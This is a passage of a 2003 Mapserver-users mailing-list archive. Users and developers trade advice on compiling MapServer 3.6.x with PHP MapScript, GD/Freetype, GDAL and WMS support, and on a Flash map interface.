Cheers! Ryan _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From morissette at dmsolutions.ca Thu Jan 16 15:33:00 2003 From: morissette at dmsolutions.ca (Daniel Morissette) Date: Thu, 16 Jan 2003 18:33:00 -0500 Subject: [Mapserver-users] PHP 4.3.0 References: Message-ID: <3E27412C.1EC78C4E@dmsolutions.ca> "pkishor_98 " wrote: > > I am getting a bunch of errors compiling ms3.6.4 (all related to > php_mapscript.so), and before I get any further, I would like to find > out if the current PHP/Mapscript module work with PHP 4.3.0. Does it? > Yes it does work with PHP 4.3.0. I haven't used it myself yet, but Assefa has built it with PHP 4.3.0 and I haven't heard of anything special. This windows DLL for PHP 4.3.0 is on our download site. -- ------------------------------------------------------------ Daniel Morissette morissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From morissette at dmsolutions.ca Thu Jan 16 16:02:25 2003 From: morissette at dmsolutions.ca (Daniel Morissette) Date: Thu, 16 Jan 2003 19:02:25 -0500 Subject: [Mapserver-users] wms client References: <3E2613BD.20903@usgs.gov> Message-ID: <3E274811.87C0B411@dmsolutions.ca> Brian Clark wrote: > > We've built and installed libwww 5.4.0. However, configure returns: > "libwww version 5.3.2 or more recent is required" > Tried it with: --with-wmsclient=/usr/local/lib, and no errors on > configure or make, > but also no wmsclient support. > OS is Solaris 2.6. > Make sure /usr/local/lib is in your path, passing --with-wmsclient=/usr/local/lib has no effect, and actually in this case it doesn't even try to locate libwww. You have to use --with-wmsclient with no argument and it will look for libwww-config in your path. Also make sure you are using MapServer 3.6.4, there used to be a problem with the libwww version check that was fixed starting with 3.6.2. Daniel -- ------------------------------------------------------------ Daniel Morissette morissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From jlowe at giswebsite.com Thu Jan 16 19:36:07 2003 From: jlowe at giswebsite.com (Jonathan W. Lowe) Date: 16 Jan 2003 19:36:07 -0800 Subject: [Mapserver-users] TrueType Font and Label Angle In-Reply-To: <3E24F4AF.117CA723@dmsolutions.ca> References: <1042480398.3e22fd0eaaa17@webmail.lmi.net> <3E24F4AF.117CA723@dmsolutions.ca> Message-ID: <1042774571.2091.24.camel@localhost.localdomain> Questions (for Daniel?) about the freetype1 vs. freetype2 problem: 1) Why does the same version of gd + freetype2 result in a successful mapserver compilation (i.e. no label angle problems) on RedHat 8.0, but not on FreeBSD? 2) If freetype2 is a problem, why is it the default in the mapserver Makefile? 3) And, if there is a bug in freetype2, rather than avoiding freetype2 altogether (an endeavor raising its own set of problems), why not get the bug fixed? Is it a known bug? Has anyone from the list identified the bug and/or contacted the freetype developer(s) to report it? (If this is much easier said than done, please forgive my naivete.) Thank you, Jonathan Lowe On Tue, 2003-01-14 at 21:42, Daniel Morissette wrote: > "Jonathan W. Lowe" wrote: > > > > For what it's worth, my installation on RedHat 8.0 didn't have the label angle > > problems, so it is possible to successfully compile the software on Linux. At > > one point in my efforts to overcome the label angle problems, I found a > > reference that said the mere presence of freetype2 might force the compiler to > > use freetype2 (the supposed culprit in the label angle problem) rather than > > freetype1. Do you have root access to the system on which you are compiling? I > > had to isolate libraries like gd and freetype in a local directory in order to > > be sure my compilation used exactly the libraries I intended it to use. > > > > FYI there is a --enable-force-freetype1 configure switch in 3.6.x and > 3.7 to try to force detection of Freetype 1 in priority over freetype 2 > when a system has both. Starting with RH 7.x and 8.x this is very > useful if you want to compile with your own custom GD with freetype 1.3. > > Daniel > -- > ------------------------------------------------------------ > Daniel Morissette morissette at dmsolutions.ca > DM Solutions Group http://www.dmsolutions.ca/ > ------------------------------------------------------------ > From pkishor at geoanalytics.com Thu Jan 16 19:54:05 2003 From: pkishor at geoanalytics.com (pkishor_98 ) Date: Fri, 17 Jan 2003 03:54:05 -0000 Subject: [Mapserver-users] Re: PHP 4.3.0 In-Reply-To: <3E27412C.1EC78C4E@dmsolutions.ca> Message-ID: Hi Daniel, Thanks for replying. Now that I know it works, here are the gory details -- gcc 2.95 on OS X 10.2.3, PHP 4.3.0 built as CGI "--with-xml --with-zlib --with-mysql --with-gd --with-png --with-jpeg --with-xml --enable-wddx --enable-dbase --with-regex=system" and working fine. Any idea why I am getting the following errors (reproducing only the last bit) during make-ing Mapserver -- -I/Users/pkishor/Projects/mapserver/php-4.3.0/TSRM -c -o mapscript_i.o mapscript_i.c /Users/pkishor/Projects/mapserver/mapserver-3.6.4/maptemplate.h:16: warning: `inchesPerUnit' defined but not used cc: -flat_namespace: linker input file unused since linking not done cc: -flat_namespace: linker input file unused since linking not done cc -o php_mapscript.so php_mapscript_util.o php_mapscript.o mapscript_i.o -L/Users/pkishor/Projects/mapserver/mapserver-3.6.4 -lmap -ljpeg -L/usr/local/lib -lpng -lz -L/Users/pkishor/Projects/mapserver/mapserver-3.6.4/../gd-1.8.4 -lgd -ljpeg -L/usr/local/lib -lpng -lz -ljpeg -lm /usr/bin/ld: Undefined symbols: _main __convert_to_string __efree __emalloc __estrdup __object_init_ex __zend_list_find __zval_copy_ctor _add_property_resource_ex _add_property_zval_ex _convert_to_double _convert_to_long _zend_error _zend_hash_find _zend_hash_get_current_data_ex _zend_hash_get_current_key_ex _zend_hash_internal_pointer_reset_ex _zend_hash_move_forward_ex __array_init __estrndup __object_init __zend_list_addref __zend_list_delete _add_assoc_string_ex _add_next_index_long _add_next_index_string _add_property_double_ex _add_property_long_ex _add_property_string_ex _php_header _php_printf _php_write _sapi_module _zend_get_parameters _zend_hash_index_find _zend_hash_num_elements _zend_list_insert _zend_register_internal_class _zend_register_list_destructors _zend_register_list_destructors_ex _zend_register_long_constant _zend_wrong_param_count make[1]: *** [php_mapscript.so] Error 1 --- Daniel Morissette wrote: > "pkishor_98 " wrote: > > > > I am getting a bunch of errors compiling ms3.6.4 (all related to > > php_mapscript.so), and before I get any further, I would like to find > > out if the current PHP/Mapscript module work with PHP 4.3.0. Does it? > > > > Yes it does work with PHP 4.3.0. I haven't used it myself yet, but > Assefa has built it with PHP 4.3.0 and I haven't heard of anything > special. This windows DLL for PHP 4.3.0 is on our download site. > From steve.lime at dnr.state.mn.us Thu Jan 16 21:00:49 2003 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Thu, 16 Jan 2003 23:00:49 -0600 Subject: [Mapserver-users] TrueType Font and Label Angle Message-ID: 1) Who knows. Since there is an easy work around I've not felt the need to poke around the GD code- that's where the problem is. The pain is on those systems that have a particular version of GD and/or Freetype pre-installed (life is fine on Solaris for example). 2) Um, no need to blame anyone. It really shouldn't have been until GD 2.0 was stable, so prior to 3.7 only Freetype 1 should be looked for. The good news is that recent versions of GD 2.0 have had major updates to TTF support and are believed to work just fine. Bottom line is to use freetype 1.3.1/gd 1.8.4 with MapServer 3.6.x and either that combination or freetype 2.0/gd 2.x with MapServer 3.7. 3) The bug(s) is in the GD interface to Freetype, not in Freetype itself. Freetype 2 support in GD has not been stable until recently. Steve Stephen Lime Data & Applications Manager Minnesota DNR 500 Lafayette Road St. Paul, MN 55155 651-297-2937 >>> "Jonathan W. Lowe" 01/16/03 21:38 PM >>> Questions (for Daniel?) about the freetype1 vs. freetype2 problem: 1) Why does the same version of gd + freetype2 result in a successful mapserver compilation (i.e. no label angle problems) on RedHat 8.0, but not on FreeBSD? 2) If freetype2 is a problem, why is it the default in the mapserver Makefile? 3) And, if there is a bug in freetype2, rather than avoiding freetype2 altogether (an endeavor raising its own set of problems), why not get the bug fixed? Is it a known bug? Has anyone from the list identified the bug and/or contacted the freetype developer(s) to report it? (If this is much easier said than done, please forgive my naivete.) Thank you, Jonathan Lowe On Tue, 2003-01-14 at 21:42, Daniel Morissette wrote: > "Jonathan W. Lowe" wrote: > > > > For what it's worth, my installation on RedHat 8.0 didn't have the label angle > > problems, so it is possible to successfully compile the software on Linux. At > > one point in my efforts to overcome the label angle problems, I found a > > reference that said the mere presence of freetype2 might force the compiler to > > use freetype2 (the supposed culprit in the label angle problem) rather than > > freetype1. Do you have root access to the system on which you are compiling? I > > had to isolate libraries like gd and freetype in a local directory in order to > > be sure my compilation used exactly the libraries I intended it to use. > > > > FYI there is a --enable-force-freetype1 configure switch in 3.6.x and > 3.7 to try to force detection of Freetype 1 in priority over freetype 2 > when a system has both. Starting with RH 7.x and 8.x this is very > useful if you want to compile with your own custom GD with freetype 1.3. > > Daniel > -- > ------------------------------------------------------------ > Daniel Morissette morissette at dmsolutions.ca > DM Solutions Group http://www.dmsolutions.ca/ > ------------------------------------------------------------ > _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From mccrone at pc.jaring.my Thu Jan 16 21:08:09 2003 From: mccrone at pc.jaring.my (Steve McCrone) Date: Fri, 17 Jan 2003 13:08:09 +0800 Subject: [Mapserver-users] Testsuite - itemquery with Rosa on the same page Message-ID: <001a01c2bde6$74bff4a0$6f61063d@clickntrac> This is a multi-part message in MIME format. ------=_NextPart_000_0017_01C2BE29.7B91BB40 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable I have partially solved my itemquery zoom in problem. I added the = following to the=20 main page index.html -=20 =20 It still cannot get two images on my template page usign something like = -=20 Has anybody implemented this query zoom in fucntion from within the = template page and with rosa applet involved? Thanks, Steve ------=_NextPart_000_0017_01C2BE29.7B91BB40 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
I have partially solved my itemquery = zoom in=20 problem. I added the following to the
main page index.html -
<input type=3D"hidden" = name=3D"mapext" value=3D"">=20
It still cannot get two images on my = template page=20 usign something like -
<img border=3D"2"=20 src=3D"[mapserv]?map=3D[map]&name=3D[name_esc]&mode=3Ditemqueryma= p&mapext=3Dshapes&qlayer=3D[qlayer]"=20 height=3D"300" width=3D"300">
 
Has anybody implemented this query zoom = in fucntion=20 from within the template page
and with rosa applet = involved?
 
Thanks,
 
Steve
------=_NextPart_000_0017_01C2BE29.7B91BB40-- From frauke.trurnit at gmx.de Thu Jan 16 23:44:01 2003 From: frauke.trurnit at gmx.de (frauke.trurnit at gmx.de) Date: Fri, 17 Jan 2003 08:44:01 +0100 (MET) Subject: [Mapserver-users] Couldn't find gdal-config References: <3E269C8F.4050006@geosysnet.de> Message-ID: <12173.1042789441@www23.gmx.net> Hi Philipp, first you must implement the following instructions: cd /usr/local/src/gdal-1.1.7 ./configure make make install Then you can configure the mapserver "--with-gdal". Frauke > Hi all, > > I'm trying to configure mapserver3.6.4 with the '--with-gdal' option. > I installed gdal-1.1.7 and gdal-config can be found in /usr/local/bin/ > > I tried it with: > '--with-gdal' > '--with-gdal=/usr/local/bin/gdal-config' > '--with-gdal=/usr/local/src/gdal-1.1.7/apps/gdal-config' > > But always the same problem, the configure script is unable to find > gdal-config. > Any ideas? > > Thanks in advance. > Philipp > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > -- +++ GMX - Mail, Messaging & more http://www.gmx.net +++ NEU: Mit GMX ins Internet. Rund um die Uhr f?r 1 ct/ Min. surfen! From philipp.jacob at geosysnet.de Fri Jan 17 02:01:32 2003 From: philipp.jacob at geosysnet.de (Philipp Jacob) Date: Fri, 17 Jan 2003 11:01:32 +0100 Subject: [Mapserver-users] Couldn't find gdal-config References: <3E269C8F.4050006@geosysnet.de> <12173.1042789441@www23.gmx.net> Message-ID: <3E27D47C.3060700@geosysnet.de> frauke.trurnit at gmx.de wrote: >Hi Philipp, >first you must implement the following instructions: >cd /usr/local/src/gdal-1.1.7 >./configure >make >make install > >>> I installed gdal-1.1.7 and gdal-config can be found in /usr/local/bin/ Mentioning this, I intended to say that I've already done this. Nevertheless 'configure' can't find gdal-config. >>Hi all, >> >>I'm trying to configure mapserver3.6.4 with the '--with-gdal' option. >>I installed gdal-1.1.7 and gdal-config can be found in /usr/local/bin/ >> >>I tried it with: >>'--with-gdal' >>'--with-gdal=/usr/local/bin/gdal-config' >>'--with-gdal=/usr/local/src/gdal-1.1.7/apps/gdal-config' >> >>But always the same problem, the configure script is unable to find >>gdal-config. >>Any ideas? >> >>Thanks in advance. >>Philipp >> >> >> From fx.gamoy at mapxplore.com Fri Jan 17 04:26:07 2003 From: fx.gamoy at mapxplore.com (fx gamoy) Date: Fri, 17 Jan 2003 12:26:07 -0000 Subject: [Mapserver-users] compiling php 4.2.2 with ming Message-ID: <00d401c2be23$9c95f000$0201a8c0@mapxplore.com> C'est un message de format MIME en plusieurs parties. ------=_NextPart_000_00D1_01C2BE23.9C8EC410 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable hello everybody First I have compiled php 4.2.2 with the ming option but nothing occur = when i try a small example (donwloaded in opaque.net). the install = seems to be oki and the phpinfo function return the 2 lines about ming Helpppp... the mapserver application i have developped generate PNG files and i = would like to translate this png into swf file on the fly in order to = use a flash navigator. This alternative is it good?=20 is there other experiences which use such a translation? thanks... Best regards FX GAMOY http://www.mapxplore.com/ ------=_NextPart_000_00D1_01C2BE23.9C8EC410 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
hello everybody
 
First I have compiled php 4.2.2 with = the ming=20 option but nothing occur when i  try a small example = (donwloaded in=20 opaque.net). the install seems to be oki and the phpinfo function return = the 2=20 lines about ming
Helpppp...
 
the mapserver application i have = developped=20 generate PNG files and i would like to translate this png into swf file = on the=20 fly in order to use a flash navigator.
This alternative is it good? =
is there other experiences which use = such a=20 translation?
thanks...
Best regards
FX GAMOY
http://www.mapxplore.com/
 
 
 
 
------=_NextPart_000_00D1_01C2BE23.9C8EC410-- From hvollmer at zebris.com Fri Jan 17 03:53:37 2003 From: hvollmer at zebris.com (hvollmer at zebris.com) Date: Fri, 17 Jan 2003 12:53:37 +0100 Subject: [Mapserver-users] shp2img_error Message-ID: Hello I am trying to install a 3.6 build of mapserver on a Redhat 7 Linux box while using the following options with the configuration script. ./configure --with-gd=/usr/local/gd-2.0.10 --with-freetype=/usr/lib/freetype --with-jpeg=/usr/local/jpeg gd-2.0.10 freetype-2.1.2 jpeg-6b After compilation the libraries are indicated and the makefile builds without complaint. When I run 'make' I get the following problem gcc -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_JPEG -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -I/usr/local/include shp2img.o -L. -lmap -lgd -L/usr/local/lib -lgd -ljpeg -lfreetype -lpng - lz -ljpeg -lfreetype -lpng -lz -ljpeg -lm -o shp2img ./libmap.a(mapogr.o)(.eh_frame+0x11): undefined reference to `__gxx_personali ty_v0' collect2: ld returned 1 exit status make: *** [shp2img] Fehler 1 Does anyone Knows this error and could I please get some pointers or advice? Thanks in advance, Hennes Vollmer From pgigoux at munistgo.cl Fri Jan 17 04:46:44 2003 From: pgigoux at munistgo.cl (Patricio Gigoux) Date: Fri, 17 Jan 2003 09:46:44 -0300 Subject: [Mapserver-users] (no subject) In-Reply-To: References: Message-ID: <200301171245.h0HCjvae015480@lists.gis.umn.edu> Explicalo en espa?ol, a ver si te puedo ayudar. Can you explain it in spanish?, plis, so I should help you Saludos Patricio El Jue 16 Ene 2003 12:23, Andr?s Collao escribi?: > I am intentanado to show one of my maps with Mapserver, but this it appears > in target, I believe that it is a EXTENT problem. that it makes this > instruction? > > > > Atte. > > --------------- > Andr?s Collao. > --------------- > > Icq # 36107225 > collao_andres at hotmail.com > acollao at inf.utfsm.cl > > "El hombre es un Dios cuando sue?a y un mendigo cuando reflexiona". > > :-- Il peggior nemico del succeso ? la pauta del fallimiento > :-- El peor enemigo del ?xito es el miedo al fracaso > > _________________________________________________________________ > MSN. M?s ?til Cada D?a http://www.msn.es/intmap/ > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From bon at ivv-aachen.de Fri Jan 17 04:45:41 2003 From: bon at ivv-aachen.de (=?iso-8859-1?Q?Nicole_B=F6meke?=) Date: Fri, 17 Jan 2003 13:45:41 +0100 Subject: [Mapserver-users] after timeout or abort mapserver process remains until I kill it :-( Message-ID: <000201c2be26$587f5610$1a01a8c0@ivvaachen.de> I have the problem that the mapserver process remains until I kill it, when a request is timed out or aborted. That makes all following requests very slow. Sometimes they are even timed out too, so the problem grows. Is there a possibility to tell the mapserver to time out a process after some time? Nicole From frauke.trurnit at gmx.de Fri Jan 17 05:25:35 2003 From: frauke.trurnit at gmx.de (frauke.trurnit at gmx.de) Date: Fri, 17 Jan 2003 14:25:35 +0100 (MET) Subject: [Mapserver-users] Couldn't find gdal-config References: <3E27D47C.3060700@geosysnet.de> Message-ID: <10169.1042809935@www4.gmx.net> Hi Philipp, than try this: --with-gdal=/usr/local/src/gdal-1.1.7 That's the way I configured the MapServer: ./configure --with-proj --with-gd=../gd-1.8.4 --with-ogr=../gdal-1.1.7 --with-gdal=../gdal-1.1.7 --with-wmsclient=../w3c-libwww-5.4.0 --with-tiff --with-jpeg --with-freetype=/usr/include/freetype2 --with-php=./mapscript/php4/php-4.2.3 Frauke > frauke.trurnit at gmx.de wrote: > > >Hi Philipp, > >first you must implement the following instructions: > >cd /usr/local/src/gdal-1.1.7 > >./configure > >make > >make install > > > >>> I installed gdal-1.1.7 and gdal-config can be found in /usr/local/bin/ > > Mentioning this, I intended to say that I've already done this. > Nevertheless 'configure' can't find gdal-config. > > > > > > >>Hi all, > >> > >>I'm trying to configure mapserver3.6.4 with the '--with-gdal' option. > >>I installed gdal-1.1.7 and gdal-config can be found in /usr/local/bin/ > >> > >>I tried it with: > >>'--with-gdal' > >>'--with-gdal=/usr/local/bin/gdal-config' > >>'--with-gdal=/usr/local/src/gdal-1.1.7/apps/gdal-config' > >> > >>But always the same problem, the configure script is unable to find > >>gdal-config. > >>Any ideas? > >> > >>Thanks in advance. > >>Philipp > >> > >> > >> > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > -- +++ GMX - Mail, Messaging & more http://www.gmx.net +++ NEU: Mit GMX ins Internet. Rund um die Uhr f?r 1 ct/ Min. surfen! From jmccue at geovue.com Fri Jan 17 06:16:09 2003 From: jmccue at geovue.com (John McCue) Date: Fri, 17 Jan 2003 09:16:09 -0500 Subject: [Mapserver-users] (no subject) Message-ID: Has anyone written a book on MapServer? From John.Arthur at T-Mobile.com Fri Jan 17 06:45:01 2003 From: John.Arthur at T-Mobile.com (Arthur, John) Date: Fri, 17 Jan 2003 06:45:01 -0800 Subject: [Mapserver-users] Flash Interface to mapserver Message-ID: Silly question, I know... but does anyone know if it is possible to write a flash front-end in flash 4? This is all I have, and can't afford to upgrade at the moment. I have a request in at work for the new Studio MX, but it doesn't look like its going through. BTW, I tested it on a Pocket PC... no go. I imagine it requires Flash player 6, pocket ie only has 5. Works in Opera for linux, Works in Phoenix for linux, Does not work in Konqueror 3.1... It loads the movie, but doesn't load the actual map. Just continues to say "Loading Map..." Thanks -John Arthur -----Original Message----- From: Grant, Ryan [mailto:rgrant at nrcan.gc.ca] Sent: Thursday, January 16, 2003 6:33 PM To: 'Steve Lime'; Mapserver-users at lists.gis.umn.edu; Grant, Ryan Subject: RE: [Mapserver-users] Flash Interface to mapserver Sounds great to me! After talking with Paul Ramsey I've started working a Flash version to work with the CGI implementation. I'll post it once I get anywhere with it.. Ryan -----Original Message----- From: Steve Lime [mailto:steve.lime at dnr.state.mn.us] Sent: Thursday, January 16, 2003 2:53 PM To: Mapserver-users at lists.gis.umn.edu; rgrant at nrcan.gc.ca Subject: Re: [Mapserver-users] Flash Interface to mapserver Don't want to lose this. How 'bout adding/starting a flash section on the wiki? >>> "Grant, Ryan" 01/16/03 01:55PM >>> Hey there. Well it's time I stopped simply leaching from this users-group and add my contribution. I've built a simple flash interface around MapServer 3.6.3. The backend functionality is provided by PHP-Mapscript. On the page is a link to a zip file containing all of the relevant code. Feel free to use anything you want. I couldn't have been here without the help and knowledge gleamed from this users group. I would appreciate any bug reports, feedback, suggestions, etc. I've tested on IE6, Netscape7, and lightly tested on a Mac and so far all is well. http://132.156.108.209/FlashMap/FlashMapServer.html Cheers! Ryan _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From steve.lime at dnr.state.mn.us Fri Jan 17 06:51:24 2003 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Fri, 17 Jan 2003 08:51:24 -0600 Subject: [Mapserver-users] Fwd: RE: Mapserv--wms problemes Message-ID: --=_0D52166B.F899E87E Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Disposition: inline --=_0D52166B.F899E87E Content-Type: message/rfc822 Received: from mail.state.mn.us (state.mn.us [156.99.125.109]) by co5.dnr.state.mn.us; Fri, 17 Jan 2003 06:35:12 -0600 Return-Path: Received: from [193.144.250.36] by mail.state.mn.us with ESMTP for steve.lime at dnr.state.mn.us; Fri, 17 Jan 2003 06:35:11 -0600 Received: by blanes.local.icc with Internet Mail Service (5.5.2656.59) id ; Fri, 17 Jan 2003 13:57:31 +0100 Message-Id: From: "Pascual Ayats, Victor" To: "'steve.lime at dnr.state.mn.us'" Subject: RE: Mapserv--wms problemes Date: Fri, 17 Jan 2003 13:57:31 +0100 X-Mailer: Internet Mail Service (5.5.2656.59) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----_=_NextPart_000_01C2BE27.FF22ADE0" This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_000_01C2BE27.FF22ADE0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: Quoted-Printable > <>=20 >=20 > Dear Steve >=20 > We are really interesting in WMS and WFS . Now we testing the mapserv > capabilities. >=20 > But we have a problem and we can not carry on. When we make a WMS request= > we receive a wrong image (see attached file ), this wrong image its the > same like we can see in the resoult of the cached query map image. >=20 > We work with Tomcat 4.1 and Windows NT. >=20 > Please, can you tell us where the problem is. Tomcat??, Windows NT?? >=20 > please, can help us? >=20 >=20 > I try the same(in my house) application on Windows 2000 and IIS5, and > works really well!! >=20 >=20 > Thanks in advance >=20 > Best regards >=20 >=20 >=20 >=20 >=20 >=20 >=20 > Victor Pascual Ayats >=20 > PROJECTE IDEC > Institut Cartogr=E0fic de Catalunya > Parc de Montjuic - 08038 Barcelona > tel. 34 93 567 15 00 Ext:3327 >=20 > http://www.gencat.es/idec >=20 >=20 >=20 >=20 >=20 ------_=_NextPart_000_01C2BE27.FF22ADE0 Content-Type: image/gif; name="mapserv.gif" Content-Transfer-Encoding: Base64 Content-Disposition: ATTACHMENT; filename="mapserv.gif" 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 